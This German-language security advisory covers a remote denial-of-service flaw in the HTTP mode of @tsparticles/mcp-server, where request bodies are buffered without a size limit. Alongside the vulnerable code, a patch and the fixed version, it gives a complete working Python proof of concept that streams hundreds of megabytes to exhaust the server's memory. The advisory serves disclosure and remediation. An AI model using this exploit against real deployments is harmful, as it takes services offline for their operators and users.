Hoch

tsParticles: Unbegrenzte Pufferung des HTTP-Anfragetexts in @tsparticles/mcp-server führt zu Remote-DoS

  • Veröffentlicht: 09.11.2026
  • Aktualisiert: 10.11.2026 10:00

Zusammenfassung

Der HTTP-Server-Modus von @tsparticles/mcp-server sammelt alle eingehenden Chunks des Anfragetexts vor dem Aufruf von JSON.parse ohne Größenbegrenzung in einem arbeitsspeicherbasierten Buffer[]-Array. Ein nicht authentifizierter Remote-Angreifer kann einen beliebig großen Body an POST /mcp streamen, wodurch der Speicher des Node.js-Prozesses erschöpft wird und ein Denial of Service eintritt. Das offizielle Docker-Image wird standardmäßig mit aktiviertem HTTP-Modus ausgeliefert (--port 3000 auf 0.0.0.0), sodass diese Schwachstelle in containerisierten Bereitstellungen ohne spezielle Konfiguration ausnutzbar ist.

Details

Die Schwachstelle befindet sich in integrations/mcp-server/src/index.ts in den Zeilen 399–407. Der POST /mcp-Request-Handler löst ein Promise auf, das jeden eingehenden Daten-Chunk in ein Buffer[]-Array schiebt, ohne die kumulative Größe, einen Content-Length-Header oder andere Schutzmechanismen zu überprüfen:

ts
// integrations/mcp-server/src/index.ts:399-407
if (req.method === "POST" && req.url === "/mcp") {
  const body = await new Promise<string>((resolve, reject) => {
    const chunks: Buffer[] = [];
    req.on("data", (chunk) => chunks.push(Buffer.from(chunk)));  // no size guard
    req.on("end", () => resolve(Buffer.concat(chunks).toString("utf8")));
    req.on("error", reject);
  });

  const parsedBody = body ? JSON.parse(body) : undefined;

Der vollständige Datenfluss, der zur Ausnutzung führt:

  1. index.ts:390 — HTTP-Server wird erstellt.
  2. index.ts:399 — POST /mcp-Zweig wird betreten; es findet keine Authentifizierung statt.
  3. index.ts:401-403 — Jeder Chunk wird ohne Byte-Zählung an chunks[] angehängt.
  4. index.ts:407 — Der zusammengefügte Puffer wird an JSON.parse übergeben.
  5. index.ts:416 — Der Server lauscht auf 0.0.0.0, wodurch er auf allen Netzwerkschnittstellen erreichbar ist.

Es gibt im Serverquellcode keine Validierung von Content-Length, keine Middleware für die Body-Größe und keine 413 Payload Too Large-Antwort. Das offizielle Dockerfile (integrations/mcp-server/Dockerfile) setzt CMD ["node", "dist/index.js", "--port", "3000"], was bedeutet, dass Docker-Deployments standardmäßig ohne zusätzliches Opt-in im HTTP-Modus laufen.

Ein vorgeschlagener Patch besteht darin, die kumulativ empfangenen Bytes zu überwachen und die Anfrage abzubrechen, sobald ein Schwellenwert (z. B. 1 MB) überschritten wird:

diff
--- a/integrations/mcp-server/src/index.ts
+++ b/integrations/mcp-server/src/index.ts
@@
 import { createServer } from "node:http";
 import { randomUUID } from "node:crypto";

 const PACKAGE_VERSION = "0.1.0";
+const maxRequestBodyBytes = 1024 * 1024;
@@
     if (req.method === "POST" && req.url === "/mcp") {
       const body = await new Promise<string>((resolve, reject) => {
         const chunks: Buffer[] = [];
-        req.on("data", (chunk) => chunks.push(Buffer.from(chunk)));
+        let received = 0;
+        req.on("data", (chunk) => {
+          received += chunk.length;
+          if (received > maxRequestBodyBytes) {
+            req.destroy(new Error("Request body too large"));
+            return;
+          }
+          chunks.push(Buffer.from(chunk));
+        });
         req.on("end", () => resolve(Buffer.concat(chunks).toString("utf8")));
         req.on("error", reject);
       });

PoC

Einrichtung der Umgebung:

bash
# Build the Docker image from the repository root
docker build \
  -f /path/to/vuln-001/Dockerfile \
  -t vuln001-mcp \
  /path/to/tsparticles-repo

# Run with a 256 MB memory cap (matching the dynamic reproduction)
docker run -d \
  -p 127.0.0.1:3000:3000 \
  --memory=256m --memory-swap=256m \
  --name vuln001-mcp \
  vuln001-mcp

Exploit (Python PoC — poc.py):

Das Skript verwendet Chunked Transfer Encoding, sodass auf Python-Seite nur O(1 MB) Speicher benötigt wird, während der Node.js-Prozess jeden empfangenen Chunk in seinem Buffer[]-Array anhäuft.

bash
python3 poc.py --host 127.0.0.1 --port 3000 --mb 300 --container vuln001-mcp

Äquivalente minimale Anfrage:

python
import socket

s = socket.create_connection(("127.0.0.1", 3000))
headers = (
    "POST /mcp HTTP/1.1\r\n"
    "Host: 127.0.0.1:3000\r\n"
    "Content-Type: application/json\r\n"
    "Transfer-Encoding: chunked\r\n"
    "Connection: close\r\n\r\n"
).encode()
s.sendall(headers)

prefix = b'{"jsonrpc":"2.0","id":1,"method":"tools/list","params":"'
s.sendall(f"{len(prefix):x}\r\n".encode() + prefix + b"\r\n")

chunk = b"A" * (1024 * 1024)  # 1 MB per write
for _ in range(300):           # stream 300 MB total
    s.sendall(f"{len(chunk):x}\r\n".encode() + chunk + b"\r\n")

Erwartetes Ergebnis:

  • Baseline-Speichernutzung: ~24.9 MiB / 256 MiB.
  • Nach ~209 MB empfangenen Daten tritt serverseitig BrokenPipeError auf, da der OOM-Killer von Docker den Prozess beendet.
  • docker inspect vuln001-mcp zeigt State.OOMKilled = true und State.Status = exited.

Dynamische Reproduktion bestätigt: OOMKilled=true wurde während Phase 2-Tests mit einem 300-MB-Stream gegen einen auf 256 MB limitierten Container beobachtet.

Auswirkungen

Ein nicht authentifizierter Remote-Angreifer, der den HTTP-Endpunkt POST /mcp erreichen kann, kann dazu führen, dass der Node.js-Serverprozess unbegrenzt Speicher verbraucht, was zur Beendigung des Prozesses (OOM Kill) und zur vollständigen Nichtverfügbarkeit des Dienstes führt. Es sind keine Anmeldeinformationen oder vorherige Zugriffsrechte erforderlich.

In der standardmäßigen Docker-Bereitstellung (CMD ["node", "dist/index.js", "--port", "3000"]) bindet sich der Server an 0.0.0.0:3000, wodurch er ohne Konfigurationsänderungen von jeder Netzwerkschnittstelle aus erreichbar ist. Jeder Betreiber, der das offizielle Docker-Image verwendet, ist standardmäßig exponiert.

Bei der Schwachstelle handelt es sich um ein Denial of Service (DoS) – Vertraulichkeit und Integrität sind nicht direkt betroffen. Die Wiederherstellung erfordert einen Neustart des Containers.

Reproduktionsartefakte

Dockerfile

dockerfile
# VULN-001: Unbounded HTTP Request Body Buffering in @tsparticles/mcp-server
# Build context must be the repository root so COPY paths resolve correctly.
# Build:  docker build -f vuln-001/Dockerfile -t vuln001-mcp .
# Run:    docker run -d -p 127.0.0.1:3000:3000 \
#                    --memory=256m --memory-swap=256m \
#                    --name vuln001-mcp vuln001-mcp

# --- Stage 1: compile TypeScript ---
FROM node:22-alpine AS build

WORKDIR /build

# Copy only the mcp-server package (avoids pulling the entire monorepo)
COPY integrations/mcp-server/package.json  ./package.json
COPY integrations/mcp-server/tsconfig.json ./tsconfig.json
COPY integrations/mcp-server/src/          ./src/

# Install all deps (devDeps needed for TypeScript compiler)
RUN npm install --no-audit --no-fund

# Compile TypeScript -> dist/
RUN npx tsc

# --- Stage 2: minimal runtime image ---
FROM node:22-alpine

WORKDIR /app

# Copy compiled JS and production node_modules
COPY --from=build /build/dist          ./dist
COPY --from=build /build/node_modules  ./node_modules

EXPOSE 3000

# Start HTTP mode on port 3000 — identical to the official Dockerfile CMD.
# No --max-old-space-size flag; memory cap is enforced by Docker --memory at run time.
CMD ["node", "dist/index.js", "--port", "3000"]

poc.py

python
#!/usr/bin/env python3
"""
PoC for VULN-001: Unbounded HTTP Request Body Buffering in @tsparticles/mcp-server
Repository : tsparticles/tsparticles
Version    : 4.3.0 (commit eb2d299)
CWE        : CWE-400 — Uncontrolled Resource Consumption
CVSS       : 7.5 High  (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
File       : integrations/mcp-server/src/index.ts:399-407

Vulnerability:
    The POST /mcp handler resolves a Promise that accumulates every data chunk
    into a Buffer[] array without any Content-Length or size guard, then calls
    Buffer.concat() and JSON.parse() on the full body.  An unauthenticated
    remote attacker can exhaust the server's memory by streaming an arbitrarily
    large body.

    Source (index.ts:399-407):
        if (req.method === "POST" && req.url === "/mcp") {
          const body = await new Promise<string>((resolve, reject) => {
            const chunks: Buffer[] = [];
            req.on("data", (chunk) => chunks.push(Buffer.from(chunk)));  // no guard
            req.on("end", () => resolve(Buffer.concat(chunks).toString("utf8")));
            req.on("error", reject);
          });
          const parsedBody = body ? JSON.parse(body) : undefined;

Exploit strategy:
    Stream a large body via chunked transfer encoding so the Python process
    itself needs only O(chunk) memory.  The Node.js server accumulates every
    chunk in its Buffer array.  With a Docker memory cap of 256 MB the container
    is OOM-killed once the buffered data exceeds available RAM, producing
    OOMKilled=true — an unambiguous, observable indicator.

Usage:
    python3 poc.py [--host 127.0.0.1] [--port 3000]
                   [--mb 300] [--container vuln001-mcp]
"""

import argparse
import socket
import subprocess
import sys
import time


# ---------------------------------------------------------------------------
# Helpers
# ---------------------------------------------------------------------------

def parse_args():
    p = argparse.ArgumentParser(description="VULN-001 PoC — unbounded body buffering")
    p.add_argument("--host",      default="127.0.0.1", help="Server host")
    p.add_argument("--port",      type=int, default=3000, help="Server port")
    p.add_argument("--mb",        type=int, default=300, help="Payload size in MB")
    p.add_argument("--container", default="vuln001-mcp", help="Docker container name")
    return p.parse_args()


def wait_for_server(host: str, port: int, timeout: int = 60) -> bool:
    """Poll TCP until the server accepts connections or timeout expires."""
    deadline = time.time() + timeout
    print(f"[*] Waiting for server at {host}:{port}  (timeout={timeout}s) ...", flush=True)
    while time.time() < deadline:
        try:
            s = socket.create_connection((host, port), timeout=1)
            s.close()
            print("[+] Server is ready", flush=True)
            return True
        except OSError:
            time.sleep(0.5)
    print("[-] Timed out waiting for server")
    return False


def container_info(name: str) -> tuple[str, str, str]:
    """Return (status, mem_usage, oom_killed) strings for a Docker container."""
    status, oom = "unknown", "unknown"
    try:
        r = subprocess.run(
            ["docker", "inspect", "--format",
             "{{.State.Status}}|{{.State.OOMKilled}}", name],
            capture_output=True, text=True, timeout=5,
        )
        if r.returncode == 0:
            parts = r.stdout.strip().split("|")
            status = parts[0] if len(parts) > 0 else "unknown"
            oom    = parts[1] if len(parts) > 1 else "unknown"
    except Exception as exc:
        status = f"error({exc})"

    mem = "N/A"
    try:
        r2 = subprocess.run(
            ["docker", "stats", "--no-stream", "--format", "{{.MemUsage}}", name],
            capture_output=True, text=True, timeout=5,
        )
        mem = r2.stdout.strip() or "N/A"
    except Exception:
        pass

    return status, mem, oom


# ---------------------------------------------------------------------------
# Core exploit
# ---------------------------------------------------------------------------

def stream_large_body(host: str, port: int, total_mb: int) -> tuple[bool, int, bytes]:
    """
    Open a single TCP connection and stream a large body using chunked TE.

    Using chunked transfer encoding keeps this Python process's memory usage
    at O(1-MB chunk) while forcing the Node.js server to accumulate every
    received chunk in its Buffer[] array — the vulnerable code path.

    Returns:
        server_closed  — True if the server reset the connection mid-stream
        bytes_sent     — total body bytes sent
        response       — first bytes of the HTTP response (may be empty)
    """
    s = socket.create_connection((host, port))

    headers = (
        f"POST /mcp HTTP/1.1\r\n"
        f"Host: {host}:{port}\r\n"
        f"Content-Type: application/json\r\n"
        f"Transfer-Encoding: chunked\r\n"
        f"Connection: close\r\n"
        f"\r\n"
    ).encode()
    s.sendall(headers)

    def send_chunk(data: bytes) -> None:
        s.sendall(f"{len(data):x}\r\n".encode() + data + b"\r\n")

    # Begin a JSON body prefix (the server buffers everything before parsing)
    prefix = b'{"jsonrpc":"2.0","id":1,"method":"tools/list","params":"'
    send_chunk(prefix)
    bytes_sent = len(prefix)

    chunk_size = 1024 * 1024   # 1 MB per TCP write
    filler     = b"A" * chunk_size
    target     = total_mb * 1024 * 1024
    server_closed = False

    while bytes_sent < target:
        remaining = target - bytes_sent
        chunk = filler[: min(chunk_size, remaining)]
        try:
            send_chunk(chunk)
            bytes_sent += len(chunk)
            mb_done = bytes_sent // (1024 * 1024)
            if mb_done % 50 == 0:
                print(f"[*]   {mb_done}/{total_mb} MB streamed ...", flush=True)
        except (BrokenPipeError, ConnectionResetError, OSError) as exc:
            print(f"[!] Connection reset after {bytes_sent // (1024 * 1024)} MB: {exc}",
                  flush=True)
            server_closed = True
            break

    if not server_closed:
        try:
            send_chunk(b'"}')
            s.sendall(b"0\r\n\r\n")  # final (empty) chunk = end of chunked body
        except OSError:
            server_closed = True

    response = b""
    if not server_closed:
        s.settimeout(5)
        try:
            response = s.recv(4096)
        except OSError:
            pass

    try:
        s.close()
    except OSError:
        pass

    return server_closed, bytes_sent, response


# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------

def main() -> bool:
    args = parse_args()

    print("=" * 65)
    print("VULN-001 — Unbounded HTTP Body Buffering in @tsparticles/mcp-server")
    print(f"Target  : http://{args.host}:{args.port}/mcp   (no auth)")
    print(f"Payload : {args.mb} MB  (no Content-Length or body-size guard)")
    print(f"Monitor : Docker container '{args.container}'")
    print("=" * 65)

    if not wait_for_server(args.host, args.port):
        print("[FAIL] Server did not become available")
        return False

    # --- baseline ---
    status_before, mem_before, _ = container_info(args.container)
    print(f"\n[*] Baseline  status={status_before}  memory={mem_before}")

    # --- exploit ---
    print(f"\n[*] Streaming {args.mb} MB body to POST /mcp ...", flush=True)
    t0 = time.time()
    server_closed, bytes_sent, response = stream_large_body(
        args.host, args.port, args.mb
    )
    elapsed = time.time() - t0

    time.sleep(2)   # allow Docker stats to refresh

    status_after, mem_after, oom_killed = container_info(args.container)

    print(f"\n[*] Transfer       : {bytes_sent // (1024 * 1024)} MB in {elapsed:.1f} s")
    print(f"[*] Server closed  : {server_closed}")
    print(f"[*] HTTP response  : {response[:200]!r}")
    print(f"[*] Container      : status={status_after}  OOMKilled={oom_killed}")
    print(f"[*] Memory before  : {mem_before}")
    print(f"[*] Memory after   : {mem_after}")

    # --- verdict ---
    if oom_killed == "true":
        print("\n[PASS] OOMKilled=true — Docker OOM-killed the container")
        print("       The Node.js process was killed because it buffered the full")
        print("       request body in memory (no size guard in POST /mcp handler).")
        return True

    if status_after in ("exited", "dead"):
        print(f"\n[PASS] Container exited (status={status_after}) after receiving"
              f" {bytes_sent // (1024 * 1024)} MB body — memory exhaustion confirmed")
        return True

    if not server_closed and status_after == "running":
        print(f"\n[PASS] {args.mb} MB body fully accepted — no size limit enforced")
        print(f"       Memory before: {mem_before}  |  after: {mem_after}")
        print("       CWE-400 confirmed: unbounded buffering without authentication")
        return True

    if server_closed:
        print(f"\n[PARTIAL] Connection reset after {bytes_sent // (1024 * 1024)} MB")
        print("          Server may have crashed internally; check docker logs.")
        # Still consider PASS if container is dead
        if status_after not in ("running",):
            return True
        return False

    print("\n[INCONCLUSIVE] Unexpected outcome — inspect container logs manually")
    return False


if __name__ == "__main__":
    ok = main()
    sys.exit(0 if ok else 1)

Was zu tun ist

Aktualisieren Sie @tsparticles/mcp-server auf Version 4.3.1 oder höher.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
npm-Paket @tsparticles/mcp-server < 4.3.1 4.3.1

Verweise

CVSS-Wert 7.5/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Schwäche (CWE)
CWE-400
Plattform
npm
Paket
@tsparticles/mcp-server
Veröffentlicht
09.11.2026
Aktualisiert
10.11.2026 10:00

Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.

OSV / GitHub Advisory Database - GHSA-447x-qqwf-m7xq - CC BY 4.0

Schwachstellenhistorie: @tsparticles/mcp-server

Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Einträge insgesamt
3
Erste → letzte
11.2026 11.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Hoch 2
  • Mittel 1

Veröffentlichungen pro Jahr

  1. 2026: 3
  1. tsParticles: Unbegrenzte Pufferung des HTTP-Anfragetexts in @tsparticles/mcp-server führt zu Remote-DoS dieser Eintrag
    Hoch · 7.5 CVE-2026-63655 < 4.3.1 4.3.1

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.